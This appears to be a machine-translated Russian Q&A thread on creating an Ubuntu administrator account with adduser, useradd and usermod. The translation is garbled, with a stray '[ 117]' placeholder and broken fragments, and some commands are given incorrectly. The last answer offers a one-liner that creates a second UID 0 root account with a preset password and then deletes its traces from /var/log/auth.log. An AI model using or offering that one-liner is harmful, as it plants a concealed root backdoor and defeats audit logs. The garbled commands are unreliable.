Я хочу создать пользователя с правами администратора и всеми обычными настройками, такими как домашний каталог.
adduser
для автоматического предоставления пользователю мощности sudo
? adduser
? Будет ли он автоматически создавать домашние каталоги и все остальное без дополнительных параметров? (то есть достаточно ли adduser <username>
?) Добавьте пользователя в группу sudo
с помощью:
adduser <username> sudo
(Если вы работаете в Ubuntu 11.10 или старше, используйте группу admin
.)
Значения по умолчанию хранятся в /etc/adduser.conf
, вы можете проверить их с помощью
less /etc/adduser.conf
. Чтобы создать пользователя и добавить его непосредственно в группу sudo
, используйте
adduser <username> --group sudo
(Опять же, используйте [ 117] вместо sudo
для 11.10 и более ранних.)
Посмотрите все варианты, которые есть у вас с adduser
здесь .
Другие ответы верны, но вы также спросили о домашнем каталоге. Вам также понадобится пароль для нового пользователя.
sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
-s
устанавливает оболочку входа пользователя -m
создает домашний каталог пользователя, если он не существует: /home/*new-admin-username*
-g
добавляет пользователя в группу sudo, чтобы у него были права администратора (> 11.10) После создания добавьте пароль для пользователя:
sudo passwd *new-admin-username*
Войдите в систему для пользователь, чтобы увидеть, все ли работает:
su *new-admin-username*
cd ~/
pwd
Чтобы создать нового пользователя с правами администратора в Ubuntu 12.04 и более поздних версиях:
adduser <username> sudo
В Ubuntu 11.10 и более ранних версиях используйте вместо этого:
adduser <username> admin
Чтобы изменить существующего пользователя (12.04 и позже):
sudo usermod -aG sudo <username>
(Или для 11.10 и ранее: sudo usermod -aG admin <username>
)
-a
обозначает добавление, тогда как -G
обозначает группы. С флагами -a
и -G
, как показано выше, группа sudo
(или admin
) будет добавлена в список групп, членом которых является пользователь.
Вот один лайнер, Он создает нового пользователя root. Необходимо изменить некоторые параметры.
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment
Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid
0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
Лучший,